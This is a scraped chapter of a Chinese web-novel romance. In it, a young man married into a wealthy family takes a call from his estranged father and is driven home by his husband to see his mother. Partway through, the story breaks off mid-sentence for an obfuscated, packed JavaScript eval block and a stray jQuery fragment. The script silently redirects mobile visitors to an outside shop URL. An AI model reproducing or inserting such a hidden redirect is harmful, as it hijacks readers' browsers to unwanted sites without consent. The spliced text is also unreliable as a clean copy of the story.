文趣网 > 都市小说 > 替嫁给豪门Daddy后 > 13. 13
    13

    打架没有。

    却害得有人一夜未眠,天还没亮就起来洗冷水澡。

    商明钧淡淡道:“是我抱你的时候没控制好力度。”

    宁知橙恍然大悟:“谢谢商先生抱我回来。我下次肯定不喝酒了。”

    商明钧对他不喝酒这件事不置可否,只道:“嗯。”

    宁知橙没看出他的脸色到底什么意思,下楼喂鸡的时候还在想。

    到底是让他喝,还是不让他喝呢?

    一旁管家提醒说:“少爷,孵蛋器里好像有动静了。”

    “是吗?”

    宁知橙连忙去看,就见孵蛋器里,接二连三有小鸡破壳而出,浑身湿漉漉的,就开始啄食蛋壳。

    宁知橙欣慰地盯着小鸡们认真看了一会儿:“都很结实。”

    自从宁知橙来了之后,管家就恶补了不少家禽养殖技术,含笑道:“等十二个小时之后,我会将小鸡们移入育雏箱,您就放心吧。”

    宁知橙开心道:“谢谢宋伯。”

    手机忽然响了起来,显示是一串未知号码。

    宁知橙有些奇怪,按下接听键后,听到手机里,传来个男人的声音:“喂?是小橙吗?”

    “我是,请问您是哪位?”

    男人笑了笑,温和道:“我是爸爸。”

    ……爸爸?

    宁知橙一怔,手中原本握着的饲料桶差点落地,还好他反应快,反手抓了回来:“谢先生?”

    电话那边的男人闻言笑道:“还在生爸爸的气吗?”

    宁知橙眨了眨眼,不大理解他为什么说这样的话:“我没有生气。谢先生,这么早打电话过来,是有什么事吗?”

    谢恒只以为他是还在生气自己曾经的冷淡,包容道:“只是想问问你,和明钧相处还好吗?爸爸最近公务繁忙,刚刚回国,有空带明钧回来,一起吃个便饭。”

    宁知橙说:“商先……明钧也很忙的,我都听他的。”

    刚嫁过去就如此偏向商明钧?

    到底比不过自小养在身边的,知道向着自家人。

    谢恒沉默片刻:“也是,夫妻和睦才是最重要的。你先站稳脚跟,多顺着明钧一些,千万不要和他起冲突。”

    说得怪怪的。

    就好像自己是被卖给商明钧当童养媳一样。

    宁知橙第一次和谢恒说话,心里却奇异得没有任何波动,或许是因为谢恒并不像他想象中的父亲,也或许是因为,身边有了更值得依靠的人。

    说不上失望。

    但太阳马上就要升起来了,再不去给黄瓜浇水,就要晚了。

    宁知橙礼貌道:“我知道的。您还有别的事吗?”

    没事他就挂了。

    谢恒听出宁知橙礼貌背后克制的冷淡,语气未变,只是微微一笑:“还有,之前说过,等你和明钧结婚后,我就送你母亲去国外疗养。我说到做到,你看看什么时间合适,领人来见我。”

    提到母亲,宁知橙眸光闪了闪,只是还不等他多问,谢恒已经挂断了这通电话。

    宁知橙看着手机失神。

    自己刚刚……是不是不该那样说话?

    对啊,自己还要靠着谢家送母亲去治病,怎么能只凭一股气,就这样得罪谢先生。

    宁知橙难得后悔,踌躇着要不要打电话回去,向谢恒赔礼道歉,等吃饭时还没有下定决心。

    不是他觉得自己的面子有多值钱……

    只是……只是就好像,认输投降了一样。

    打斜里伸过一双筷子,替他将一只最爱的生煎馒头放到碗中。

    宁知橙抬起一直垂着的眼睫,看向一旁的商明钧。

    商明钧收回替他夹菜的手:“遇到什么为难的事了吗?”

    宁知橙摇了摇头。

    商明钧说:“那就好好吃饭。”

    宁知橙这才发现,自己半天都没有动筷子,一桌子香香的饭都有点凉掉了。

    宁知橙连忙张嘴,要一口吞掉生煎馒头,却被商明钧给制止了。

    “烫。”商明钧看他心神不宁的样子,只是说,“慢慢吃。”

    然后让下人将已经冷掉的饭菜送下去,换了新的上来后,盯着宁知橙,看着他吃了和平常差不多的量,这才说:“有什么拿不定的主意可以和我……可以和宋伯商量,不要一个人闷在心里。”

    商明钧知道,在这个家里,宁知橙和宋伯最投缘,一老一小,整天在小花园里一起种菜养鸡。

    比起自己,大概宁知橙更容易对宋伯开口。

    宁知橙的小脸又皱到了一起。

    看来真的遇到了为难的事。

    商明钧并不逼迫他,只在心里想,他能有什么为难的事情。

    思绪飘回昨晚,他依偎在自己怀中,凑在耳边,呼吸轻软地拂过耳根,短促缠绵地喊他“daddy”。

    腰那样细,一只手就能完全遮住,臀又那样软,抓在手心时,臀肉会溢出指缝……

    那些片段飞快地闪过,商明钧克制自己将思绪拉回正途。

    他昨天哭了,喊了妈妈,说想回家。

    是……想家了?

    入夜时分,宁知橙自己躲在房间里,犹豫了一会儿,给妈妈打了个电话。

    电话很快接了起来,电话那边的妈妈笑着问:“小橙?怎么这个时候给妈妈打电话。”

    听到妈妈的声音,宁知橙莫名鼻子一酸:“妈妈,我想你了。”

    “想妈妈了就回来。你才多大的人,高考结束就出去玩一玩,做什么非要去打工。”妈妈嗔怪着,却又心疼道,“我们小橙就是太乖了。学习又好,又懂事。邻居的叔叔阿姨都羡慕我。”

    “嘿嘿。”宁知橙又开心了起来,“妈妈,你自己在家,身体没有哪里不舒服吧?”

    “没有,上次不是做过手术了。”

    宁知橙抿了抿唇,有点不知道该怎么和妈妈说,要她来城里和自己一起去谢家的事情。

    对于自己来说,就那么难受的一件事,对妈妈来说,一定会更不舒服吧。

    可仅靠自己,根本没有办法送妈妈去更好的地方治疗。

    尊严和妈妈的健康相比不值一提,但他不愿意让妈妈也去谢家,经历自己曾经历过的审视。

    该怎么办?

    宁知橙纠结了好久,鼓足勇气要开口:“妈妈,其实我想……”

    “咚咚咚”三下叩门声响起。

    门前,商明钧大概是看到他在打电话,很有风度地等在门口,提示他自己到来。

    宁知橙不想让商明钧听到这些烦心事,连忙和妈妈说:“我室友回来啦,我先挂了。你在家要记得吃药,过段时间,我接你进城。”

    挂断电话后,商明钧才进来:“怎么不多聊一会儿?”

    “已经聊好了。”

    商明钧静静看他,宁知橙有些心虚,对着他咧嘴一笑。

    商明钧说:“我来取东西,你继续。”

    但刚刚鼓起的勇气已后继无力,宁知橙有种掩耳盗铃的心态,打算等过几天找个机会,回家当面和妈妈说。

    妈妈会不会生气……应该不会骂他吧?

    骂的话他就乖乖听着,反正妈妈也不舍得一直骂他。

    下定决心后,宁知橙破罐破摔不再烦恼,乖巧问商明钧:“要拿什么,我帮你找。”

    “已经找到了。”商明钧只是随口找个理由,看宁知橙情绪恢复了平日里的轻松,淡淡道,“今晚早点睡。”

    “又要出门?”

    “嗯。”商明钧说,“明天送你回家。”

    宁知橙一怔,有点紧张:“是……是我做错什么了吗?”

    不会是要把他赶回家吧?

    他漂亮的小脸绷紧,眼睛水汪汪地看着商明钧,像是粘人的猫。

    商明钧失笑:“没有。你昨天说想家了,正好这几天没事,带你回家看看。”

    他有说过吗?

    不是赶他走就好。

    宁知橙重新放松下来:“好呀……”

    不对!

    商明钧是不是要送他回谢家?

    可他今天刚刚得罪了谢先生。

    宁知橙又紧张了:“不然还是算了吧。”

    商明钧一句话没说,他一个人表情几变,老谋深算了半天什么也没算明白。

    就这样,还天天还以为自己伪装得很好。

    商明钧在心底低笑一声,故意问:“为什么?”

    他眼睛从左边看到右边,琥珀色的瞳仁像是玻璃珠,明显小脑袋瓜在飞速地转,小脸也不知不觉皱了起来。

    看得人都替他着急。

    商明钧不想再难为他,索性道:“你之前不是一直住在乡下?现在的天气,我们明天早点出发。”

    哦哦,对哦。

    自己好像是说过身体不好,一直住在乡下休养。

    宁知橙总算可以松口气了:“好,好啊。”

    商明钧忽然说:“小橙。”

    “嗯?”

    商明钧看着他,冷色的眸中倒映着他的身影,一向端肃的面上,这一刻的神情也是温和的:“不要这么怕我。我不会赶你走的。”

    指尖无意识地轻轻一跳,像是有根看不见的弦被拨动。

    宁知橙怔怔看着他,半晌,才轻轻说:“好。”

    -

    第二天一早,两人吃过饭后就坐上了车。

    车子向着城外驶去,宁知橙好奇地看向窗外,忍不住说:“和我来的时候走的不是一条路。”

    商明钧随口问:“你是怎么来的?”

    “坐大巴……”宁知橙一顿,想要改口说坐的谢家的车。

    听他撒谎,不仅为难他,也为难自己。

    商明钧捏了捏鼻梁,淡淡道:“这条路比较近。”

    其实是因为大巴绕路接客,没走高速,走的是国道。

    宁知橙不常出远门,所以不懂这些,懵懵懂懂地“哦”了一声。

    商明钧见他不再追问,简直要替他松口气。

    却在心里想,太好骗了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735772|209049||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    明明很聪明的脑子,某些地方却又意外地迟钝,甚至没问自己,是怎么知道他家在哪。

    如果不是遇到了自己,现在大概骨头都被吃干净了。

    他还在往外张望,脸上带着起得过早睡眠不足的兴奋。

    商明钧说:“困的话可以睡一会儿。”

    宁知橙活力满满:“不困!”

    商明钧就任他去了,自己翻阅文件。

    过了一会儿,身边没了响动,商明钧垂眸,就看到宁知橙坐在一旁,脑袋一点一点,已经睡熟了。

    车子驶过弯道,宁知橙跟着一歪,撞在了商明钧肩上。

    商明钧下意识绷紧了手臂,宁知橙好像撞疼了,嘴巴里嘀咕了两声,又没了声音。商明钧看他这样的睡姿实在太不舒服,迟疑一下,伸手将他的脑袋拨了过来,靠在自己肩上。

    有了依靠,宁知橙原本抿着的唇放开,还熟稔地在商明钧肩膀上蹭了蹭。

    商明钧微微笑了笑,转过头去,继续翻看文件,余光里却一直能看到宁知橙的影子。

    日光明亮,如瀑布般洒向大地,夏日最盛时节,气温渐渐升高,已不是最佳耕种时间,一块块被修缮得极为整齐的田野上,此刻也人烟稀少起来。

    车子拐入小道,越过村尾后,径直驶向一栋两层小楼。

    察觉到车子到来,院中黑色的大狗自窝中钻出,警觉地吠叫两声。

    车门打开,宁知橙从车子里钻了出来,睡了一路,头发七零八翘,随着脚步一起一落,似是轻盈的翅膀。

    “大黑,是我。”

    大狗看到他后,吠声立刻变成了夹子音,对着他又蹦又跳,疯狂摇尾巴。

    宁知橙蹲下身去,对着狗头一通乱揉,一边揉,一边向身后的商明钧说:“这是我养的狗,叫大黑。”

    正说着,又从角落里钻出一只白猫来,尾巴竖的高高的,先是一猫爪拍走了大黑,这才绕着宁知橙蹭。

    宁知橙一把把猫搂入怀中:“这也是我养的,叫大白。”

    “……”商明钧说,“起的名字很好认。”

    黑狗就叫大黑,白猫就叫大白。

    没有一点错认的空间。

    宁知橙抱着大白,举到商明钧面前:“要摸摸看吗?大白不挠人的。”

    商明钧沉默片刻,谢过宁知橙的好意:“不必了。”

    宁知橙嘿嘿笑道:“商先生,你不会是怕猫吧?”

    怕当然不怕。

    商明钧看着沾了泥水的猫爪,不易察觉地向后退了退。

    宁知橙回到家里,整个人都变得活泼起来,玩心大起,抓着猫爪子对着商明钧挥了挥:“大白,说商先生好。”

    两人正在玩闹,外面有人推门走了进来,看到两人愣了一下:“……小橙?你怎么回来了。”

    宁知橙转头看去,眼睛一亮,立刻扑了过去:“妈妈!”

    宁少梅看起来四十出头,眉目温柔秀丽,和宁知橙有七分相像,她将宁知橙搂在怀中,扫视了一眼一旁的商明钧,这才柔声问:“不是在城里打工?这是翘班了?”

    宁知橙不好意思地笑了一声:“我想你了嘛。就跑回来了。”

    “你这孩子。”宁少梅嗔怪地替他拍了拍抱猫沾上的灰尘,又对着商明钧笑道,“这位是?”

    宁知橙光顾着开心,现在被妈妈一问,傻在了原地。

    完蛋!

    自己该怎么介绍商明钧?

    ——妈妈,这是我老公。

    ……妈妈就算再宠他,也一定会生气的。

    宁知橙呆呆看着商明钧,商明钧一眼就看出,他现在一定大脑一片空白。

    像是应激了的猫,摸起来一定浑身的毛都炸了起来。

    商明钧舍不得他被吓成这样,上前替他解围:“宁女士,初次见面。我是小橙的室友。”

    “对对对,他是我室友!”宁知橙敬佩地看着商明钧,觉得他不愧是曾经的大总裁,脑子转的好快,“妈妈,今天就是他送我回来的。”

    宁少梅狐疑地看了一眼院外停着的豪车,视线在商明钧和宁知橙身上掠过,本来还想再问点什么,但看到宁知橙脸上那种心虚又忐忑的表情时,只能无奈地笑了笑说:“又麻烦人家。”

    “不麻烦。”商明钧微微笑道,“小橙也帮了我很多忙。”

    宁少梅又与他寒暄两句,进屋做饭。宁知橙立刻跑到商明钧身边,崇拜道:“还好你反应及时,我妈要是知道我偷偷结了婚,一定要揍我的。”

    商明钧已经习惯了他的嘴巴像个漏斗一样,只当没听到他话中的漏洞:“我让人准备了礼物,还有一些处理好的食材,你去看看有没有想吃的。”

    好贴心。

    宁知橙欢呼道:“谢谢商先生!”

    然后顺手拥抱了商明钧一下。

    夏日的太阳热烈一如初恋,宁知橙肌肤微微反光,是一种耀眼的洁白,双臂搂在身上,热而柔软,却又很快地离开。

    只留下被拥抱的人,还沉浸在那短暂而浓烈的触碰中。